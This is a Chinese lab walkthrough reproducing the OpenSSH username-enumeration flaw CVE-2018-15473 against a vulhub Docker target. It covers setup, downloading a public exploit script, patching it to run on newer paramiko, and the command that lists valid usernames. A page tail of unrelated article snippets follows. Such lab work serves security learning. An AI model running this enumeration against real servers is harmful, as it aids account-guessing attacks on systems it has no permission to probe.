避坑版-OpenSSH 用户名枚举漏洞(CVE-2018-15473)

介绍:

OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中,在复现过程中遇到了很多坑,这里我就把遇到坑和解决方法告诉大家!!!

漏洞环境:

靶机:Ubuntu(vulhub)

IP:192.168.0.103

 

攻击机:kali

IP:192.168.0.104

 

漏洞复现:

1.开启环境

#cd vulhub-master/openssh/CVE-2018-15473     //进入目录
#docker-compose build
#docker-compose up -d      //开启环境

 

 环境启动后,我们在kali执行ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.0.103 -p20022,输入密码vulhub,即可登录到容器中,这里我就不在演示了。

 

2.工具下载

使用 CVE-2018-15473-Exploit 工具进行用户名枚举。

其中在kali里面下载

#wget http://github.com/Rhynorater/CVE-2018-15473-Exploit/archive/refs/heads/master.zip      //使用wget下载
#unzip master.zip      //解压

其中注意!在复制下载压缩包连接到kali下载时复制是http,可能会下载失败,这里解决方法是改成http,如果还是下载失败,建议本机下载复制到kali里。

 

 3.漏洞复现

首先进入解压好的文件夹里,通过运行pip install -r requirements.txt安装依赖。

可能会出现一下报错信息

WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: http://pip.pypa.io/warnings/venv 

 提示以“root”用户身份运行 pip 可能会导致权限损坏和冲突,因此我们需要创造一个虚拟的环境区执行它。

#python3 -m venv tutorial-env    //创建一个虚拟环境
#source tutorial-env/bin/activate   //激活环境

#pip install -r requirements.txt   //再次安装依赖

 

 

添加几个用户名到exampleInput.txt里

root
example
vulhub
nobody
rootInvalid
user
phithon
123
321

 

运行命令进行用户名枚举

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

会发现有报错

Traceback (most recent call last):
  File "/root/桌面/CVE-2018-15473-Exploit-master/sshUsernameEnumExploit.py", line 33, in <module>
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
                               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: 'property' object is not subscriptable
 

 这里要修改的有三处地方,都是在_handler_table换成_client_handler_table。

第一处在sshUsernameEnumExploit.py脚本的33行

第二处在124行

第三处在125行

 在运行脚本

#python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt 192.168.0.103

可以看到成功枚举出用户名

 

 可见,rootexamplevulhubnobody是存在的用户,rootInvaliduserphithon、123、321是不存在的用户。

 

本文转载于网络 如有侵权请联系删除

相关文章

  • WTF!只需一行Python代码即可玩20几款小游戏

    今天分享一个有趣的github项目:https://github.com/kingser/free-python-games,通过该项目,我们只需一行代码即可玩20几款小游戏,下面具体来看一下。安装首先,我们进行安装,安装很简单,只需一行命令即可:pipinstallfreegames。使用安装完成之后,我们使用命令:python-mfreegameslist查看一下可玩的游戏列表,如下所示:ant bagels bounce cannon connect crypto fidget flappy guess life madlibs maze memory minesweeper pacman paint pong simonsays snake tictactoe tiles tron 复制小游戏的运行(启动)使用命令:python-mfreegames.游戏名,下面通过示例具体看一下。python-mfreegames.snake 复制python-mfreegames.pacman 复制python-mfreegames.flappy 复制python-mfreegames.c

  • OpenCV之图像锐化

    python代码:importcv2ascv importnumpyasnp src=cv.imread("./test.png") cv.namedWindow("input",cv.WINDOW_AUTOSIZE) cv.imshow("input",src) #sharpen_op=np.array([[-1,-1,-1],[-1,9,-1],[-1,-1,-1]],dtype=np.float32) sharpen_op=np.array([[0,-1,0],[-1,5,-1],[0,-1,0]],dtype=np.float32) sharpen_image=cv.filter2D(src,cv.CV_32F,sharpen_op) sharpen_image=cv.convertScaleAbs(sharpen_image) cv.imshow("sharpen_image",sharpen_image) h,w=src.shape[:2] result=np.zeros([h,w*2,3

  • 人工智能学派之间的「联姻」——Yoshua 新作居然用DL「复活」了符号主义

    【新智元导读】近日,YoshuaBengio及其团队利用深度学习,开发出了一套可以揭示丰富视觉环境中的潜在规则的「神经生产系统」,使得现在暂时沉寂的符号人工智能重新恢复了活力。相信大家都知道,目前人工智能的主要学派有下列三家:(1)符号主义(symbolicism),又称为逻辑主义、心理学派或计算机学派,其原理主要为物理符号系统(即符号操作系统)假设和有限合理性原理。(2)连接主义(connectionism),又称为仿生学派或生理学派,其主要原理为神经网络及神经网络间的连接机制与学习算法。(3)行为主义(actionism),又称为进化主义或控制论学派,其原理为控制论及感知-动作型控制系统。符号主义曾长期一枝独秀,为人工智能的发展作出重要贡献,尤其是专家系统的成功开发与应用,为人工智能走向工程应用和实现理论联系实际具有特别重要的意义。1986年,鲁梅尔哈特(Rumelhart)等人提出多层网络中的反向传播(BP)算法。此后,连接主义势头大振,从模型到算法,从理论分析到工程实现,为神经网络计算走向市场打下基础。而现在,YoushioBengio干了一件神奇的事情——他带领团队,使用深度

  • “计图”人工智能算法挑战赛启动!

    “计图”人工智能算法挑战赛是在国家自然科学基金委信息科学部指导下,由北京信息科学与技术国家研究中心和清华-腾讯互联网创新技术联合实验室主办、基于清华大学“计图”机器学习框架、开展的人工智能算法比赛。大赛面向所有在校学生和AI相关领域从业人士开放,旨在通过竞技的方式提升人们对数据分析与处理的算法研究与技术应用的能力,推动我国自主人工智能平台的生态建设和人工智能研究和应用的深入。本次挑战赛得到了腾讯、快手两家IT领先企业的赞助;头歌平台提供竞赛平台支撑。Part1挑战赛的组织机构挑战赛邀请人工智能领域的权威专家和国家自然科学基金委相关的主管领导参加指导委员会,并组建了包括高校、中科院学者和IT企业的资深技术专家在内的专家委员会,负责挑战赛的评审。指导委员会 (按字母顺序)戴琼海,清华大学信息学院院长、中国工程院院士、中国人工智能学会理事长沈向洋,清华大学双聘教授、美国工程院外籍院士、微软公司前执行副总裁宋  苏,国家自然科学基金委信息科学部二处(计算机学科)处长吴一戎,中国科学院空天信息创新研究院院长、中国科学院院士 徐宗本,西安交通大学教授、中国科学院院士查红彬,北京大学教授、CCF计算

  • 使用神经网络解决拼图游戏

    在一个排列不变性的数据上神经网络是困难的。拼图游戏就是这种类型的数据,那么神经网络能解决一个2x2的拼图游戏吗?什么是置换不变性(PermutationInvariance)?如果一个函数的输出不通过改变其输入的顺序而改变,那么这个函数就是一个排列不变量。下面是一个例子。1)f(x,y,z)=ax+by+cz 2)f(x,y,z)=xyz复制如果我们改变输入的顺序,第一个函数的输出会改变,但是第二个函数的输出不会改变。第二个函数是置换不变量。神经网络的权值映射到特定的输入单元。当输入改变时,输出也会改变。为了学习这种对称性,权值应该是这样的即使改变了输入,最终的输出也是不变的。而前馈网络是不容易学习的。拼图游戏也是置换不变性。不管拼图的顺序是什么,输出总是固定的。下面是一个2x2的网格难题的例子,我们将在这个项目中尝试解决它。解决一个3x3网格的难题是极其困难的。下面是这些谜题的可能组合。 2x2puzzle=4!=24combinations 3x3puzzle=9!=362880comb’ns复制为了解决一个3x3的难题,网络必须从362880中预测出一个正确的组合。这也是为什么3

  • iOS打包发布那些事儿

    摘要:一个iOS应用最终能在用户的设备上使用,是经过了开发->打包->发布->下载安装过程的。为了更易于理解,以及避免从一开始就陷入细节,本文将逆序讲述整个过程。1.开发者账号的种类(图4开发者账号的种类)从大类上,开发者账号分为三种:个人、组织和教育机构。教育机构这个类别我并没有接触过,也就不在这里深入。在4个小类中,公司和个人类型的账号只有能否有团队成员这一个区别。因此实际上很多开发者会把个人类型的账号转为公司类型,便于团队协作。也正是因为大多数应用都需要不止一个DEV来开发,所以比较常用的开发者账号类型就是支持developmentteam的公司和企业级应用。对于公司和企业级应用,二者之间除了账号的年费不一样之外,最重要的区别在于,它能否将应用上架AppStore。那么为什么企业级账号无法将应用上架AppStore呢?这里大概解释一下:从前文我们已经知道,想要上架AppStore,就必须选择AppStoreConnect的发布方式。选了某种发布方式之后,后续步骤所需要的证书,描述文件等的类型也是不一样的。在MemberCenter中,企业级账号只能生成发布企业应

  • SQLServer 内存设置过小无法启动修复

    SQLServer设置内存过小后,重启时候无法启动。 找到sqlservr.exe文件所在目录,一般为C:ProgramFilesMicrosoftSQLServerMSSQL11.MSSQLSERVERMSSQLBinnsqlservr.exe 管理员权限运行cmd将目录切换到sqlservr.exe文件所在目录 窗口1运行sqlservr.exe-f-sMSSQLSERVER复制窗口2运行sqlcmd-E-sMSSQLSERVER EXECsp_configure'showadvancedoptions','1'RECONFIGUREWITHOVERRIDE; EXECsp_configure'maxservermemory',2147483647RECONFIGUREWITHOVERRIDE; EXECsp_configure'showadvancedoptions','0'RECONFIGUREWITHOVERRIDE; GO复制

  • js中=,==,===和 != 和 !==的区别和使用

    js中=,==,===的区别和使用1: =是赋值的意思,让左边的值等于右边的值2: ==是判断等于的意思,返回值是一个布尔值,它只判断值是否相等,不判断类型是否一样(==的非就是!=)3: ===(恒等运算符)也是判断等于的意思,返回值也是一个布尔值,但是它不仅仅判断值是否相等,还判断类型是否相等(===的非就是!==)js中!=和!==的区别!=在表达式两边的数据类型不一致时,会隐式转换为相同数据类型,然后对值进行比较。!==不会进行类型转换,在比较时除了对值进行比较以外,还比较两边的数据类型,它是恒等运算符===的非形式。

  • 业务日志监控工具Sentry介绍

    “我们在完成业务系统上线后除了正常关注系统进程、内存、CPU等这些物理指标并进行监控外,往往也需要观察线上业务日志的运行情况,特别是新系统上线后的业务异常日志排查分析是主动发现系统问题并进行优化迭代的一种非常有效地手段,但是没有一种好用的工具去监控分析,也是一件很累、很低效的事情,这里给大家介绍一款非常好用的业务日志监控工具—Sentry”。记得小码农刚工作的时候,正好刚上公司做了一个新项目,系统上线试运行期间技术Leader会安排每个组每天专人登陆系统部署服务器,把各个模块每天的异常日志整理出来,然后再指定给负责的研发同学进行排查迭代。至于整理方式嘛....//查看异常内容 cattxx_Biz.log.2018-04-27-PM|grepException//统计异常次数 catcxx_Biz.log.2018-04-27-AM|grepERROR|awk-F'[''{print$2}'|awk-F'''{print$1}'|sort|uniq-c|wc-l.....,好期待有个好工具能帮忙干这事。 什

  • 开发 | 无需后端编码,手把手教你把 WordPress 做成小程序

    文|Jeff我花了两天时间,将自己的WordPress网站做了个微信小程序版本。这篇文章,记录的就是我自己在开发第一版小程序的过程。知晓程序(微信号zxcx0101)今天分享的这篇文章,将一步步讲解,如何将一个WordPress网站借助RESTAPI开发微信小程序版。关注「知晓程序」公众号,在微信后台回复「开发」,获取小程序开发技巧精选文章。小程序如何读取WordPress博客内容?WordPress在4.6版本推出了RESTAPI。简单来说,它是一种通过HTTP请求完成的客户端与服务端数据交互方案。我们访问平常的普通WordPress网站,在没有开启静态缓存的情况下,大致需要「从数据库拉取数据→服务端PHP进程拼成HTML→用户浏览器界面」的过程。RESTAPI的处理过程类似,但稍微不同的是:输出的是JSON格式的数据,且一般是给客户端(非网页浏览器)使用。有了RESTAPI,一个网站制作不同客户端(Android或iOS的app,以及微信小程序),而共享一个数据库成为了可能。我们可通过浏览器,直接访问WordPress的其中一个接口地址:your-site.com/wp-json/

  • Thinkphp5学习013-项目案例-编辑学生的控制器部分代码

    Thinkphp5学习013-项目案例-编辑学生的控制器部分代码一.我们在学生列表all.html的页面中有“编辑”按钮我们点击它,应该是去传递一个学号去一下方法再find查询数据库,再返回一个edit.htm页面中我们可以在这个页面中对信息进行修改,再提交,update数据库二.下面是控制器student.php中的代码//显示编辑学生的页面  publicfunctionedit($no)  {    $data=Db::name('student')->where('no',$no)->find();    $this->assign('student',$data);    return$this->fetch();  } //执行编辑操作  publicfunctiondo_edit()  {    $no=input('post.no');    $name=input('post.name');    $sex=input('post.se

  • 11.11云上盛惠,AI产品一站式选购

    一年一度的11.11云上盛惠如期而至。腾讯云AI携人脸核身、文字识别、语音技术、人脸特效等系列特惠AI产品助力轻松上云;本次AI专场设置三大专区,包含数十款子产品,全场低至0.2折起:@首单专区:新用户限时秒杀,仅限产品首单,每个用户仅限1个;@企业专区:仅企业认证用户可购买;@特惠专区:不限新老用户,多种规格资源包可供选择,低至1.5折起。活动说明: 本次活动为11月大促AI人工智能产品专场特惠活动。活动时间:本活动时间 2022-11-0100:00:00 ~ 2022-11-3023:59:59活动对象:腾讯云官网已注册且完成企业或个人实名认证的国内站用户均可参与(协作者与子用户账号除外)。官网活动地址:https://cloud.tencent.com/act/pro/2022double11-ai?from=18582更多AI子产品能力与折扣详情信息可点击左下角阅读原文进入官网选购。更多腾讯AI产品免费体验与合作联系欢迎识别下方小程序码进入一张报销单引发的"吐槽大会" | 戳中打工人的爽点,3步就够了 | AI会是考试作弊的终结者吗?| 腾讯云AI「承包了

  • 腾讯云私有网络查询协议端口私有网络API2017

    1.接口描述本接口(DescribeService)用于查询(网络)参数模板协议端口列表。接口请求域名:vpc.api.qcloud.com 2.输入参数以下请求参数列表仅列出了接口请求参数,正式调用时需要加上公共请求参数,见公共请求参数页面。其中,此接口的Action字段为DescribeService。 参数名称 必选 类型 描述 serviceId否String协议端口ID,支持模糊搜索。 serviceName否String协议端口名称,支持模糊搜索。 offset否Int初始行的偏移量,默认为0。 limit否Int每页行数,默认为20。 注:serviceId和serviceName作为查询条件为逻辑与关系。 3.输出参数 参数名称 类型 描述 code Int 数字错误码,0表示成功,其他值表示失败。详见错误码页面的公共错误码。 message String 错误信息。 codeDesc String 英文错误码。 data Object 返回的数据结构。 data结构 参数名称 类型 描述 data.totalCoun

  • SQL Server、MySQL主从搭建,EF Core读写分离代码实现

    一、SQLServer的主从复制搭建 1.1、SQLServer主从复制结构图 SQLServer的主从通过发布订阅来实现 主库把增删改操作发布到发布服务器,从库通过订阅发布服务器,发布服务器把操作推送到从库进行同步。 1.2、基于SQLServer2016实现主从 新建一个主库“MyDB” 建一个表"SysUser"测试 CREATETABLE[dbo].[SysUser]( [Id][int]IDENTITY(1,1)NOTFORREPLICATIONNOTNULL, [UserName][varchar](50)NOTNULL, [Account][varchar](20)NOTNULL, [Password][varchar](100)NOTNULL, [Phone][varchar](50)NOTNULL, [CreateTime][datetime]NOTNULL, CONSTRAINT[PK_User]PRIMARYKEYCLUSTERED ( [Id]ASC )WITH(PAD_INDEX=OFF,STATISTICS_NORECOMPUTE=OFF,

  • 【新能源汽车锂电池充电桩太阳能】26650容量是18650容量的2倍

    18650锂电池与26650锂电池区别?1、26650容量是18650容量的2倍!!:18650锂电池的容量在1200mAh到3600mAh之间,常见的18650锂电池的容量在1800mAh到2600mAh。而22650锂电池的容量在3000mAh到4500mAh。      强光手电神火神鱼18650强光10w500流明

  • 数据结构-图

    一、概念 图(Graph),是一种复杂的非线性表结构。 图中的元素我们就叫做顶点(vertex) 图中的一个顶点可以与任意其他顶点建立连接关系。我们把这种建立的关系叫做边(edge) 跟顶点相连接的边的条数叫做度(degree) 图这种结构有很广泛的应用,比如社交网络,电子地图,多对多的关系就可以用图来表示。 有向图:边有方向的图,比如A点到B点的直线距离,微信的添加好友是双向的 无向图:边无方向的图,比如网络拓扑图 带权图:在带权图中,每条边都有一个权重(weight),我们可以通过这个权重来表示一些可度量的值 二、图的存储 2.1邻接矩阵(AdjacencyMatrix) 邻接矩阵的底层是一个二维数组 无向图:如果顶点i与顶点j之间有边,我们就将A[i][j]和A[j][i]标记为1 有向图: 如果顶点i到顶点j之间,有一条箭头从顶点i指向顶点j的边,那我们就将A[i][j]标记为1。同理,如果有一条箭头从顶点j指向顶点i的边,我们就将A[j][i]标记为1 带权图: 数组中就存储相应的权重 代码 /** *邻接矩阵实现*/ publicclassGraph1{

  • pycharm2021新版禁用连按两次shift调出全局搜索的方法

    Pycharm和Jetbrain家的其他产品快速点两次shift都会调出全局搜索,这在某些切换中英文的情况下会造成不便。 网上能搜到的大部分方法都会说找到“ide.suppress.double.click.handler”勾复选框的说法,但这个选项在2017年以后的版本已经不见了。 新版在设置面板里操作:  

  • flutter 图片视频选择组件 image_picker

    安装  image_picker:^0.6.7+15复制   使用方法: import'package:image_picker/image_picker.dart'; finalImagePicker_picker=ImagePicker(); PickedFilepcikeFile; //图片 pcikeFile=await_picker.getImage(source:ImageSource.gallery); pcikeFile=await_picker.getImage(source:ImageSource.camera); //视频 pcikeFile=await_picker.getVideo(source:ImageSource.gallery,maxDuration:constDuration(seconds:60)); pcikeFile=await_picker.getVideo(source:ImageSource.camera,maxDuration:constDuration(seconds:60));复制   P

  • 百度地图 Javascript API 笔记

    因为最近的一个项目用到,所以自己整理了一下遇到的一些坑 自己写了一个类库来二次封装用于调起常用的功能:https://github.com/iRuxu/iBMap 快速文档链接 JavascriptAPIv2.0类参考 | 官方指南 | demo WebAPI URIAPIv2.0   1.1JavascriptAPI 首先自己调起百度地图的话,需在页面引入对应API文件,如使用2.0: <scripttype="text/javascript"src="http://api.map.baidu.com/api?v=2.0&ak=您的密钥"></script>复制 {坑一}在一些浏览器上不能异步加载,会被阻止,所以还是需要将api文件直接在页面中引入。 {坑二}官方demo中有些示例似乎失效的,例如地址解析方法已经不可用,会报错,需通过WebAPI来异步调取结果。 内部的Point等构造方法,都是先lng经度后lat纬度。 {坑三}接口方法的调用需要在页面文档就绪以后,且对其装载元素指定尺寸,

  • Manjaro kde美化成果

    基于manjaro21,plasma25th arch系高自由度,能调成各种喜欢的样子

  • 在C和C++中struct与typedef struct的区别详细介绍

    c中测试code structCmstruct { intc; }Cm;//Cm是一个变量 typedefstructMyStruct//这里的Mystruct可以省略 { intm; }My;//My是structMyStruct别名 Myst; structCmstructcm1; //只能使用structCmstruct来定义不能使用Cmstruct st.m=1; printf("%d\n",st.m);//1 //structMyStructst1;报错,不能再用此方法,只能Myst1 Cm.c=10; printf("%d\n",Cm.c);//10 cm1.c=22; printf("%d\n",cm1.c);//22复制  c++中测试code structMystruct { intm; }cm;//上面c中说过cm是变量 cm.m=20; printf("%d\n",cm.m);//20 structMystructmy;//声明my可以省略struct,但是c中不可以省略 my.m=10; printf("%d\n",my.m);//10 type

相关推荐

推荐阅读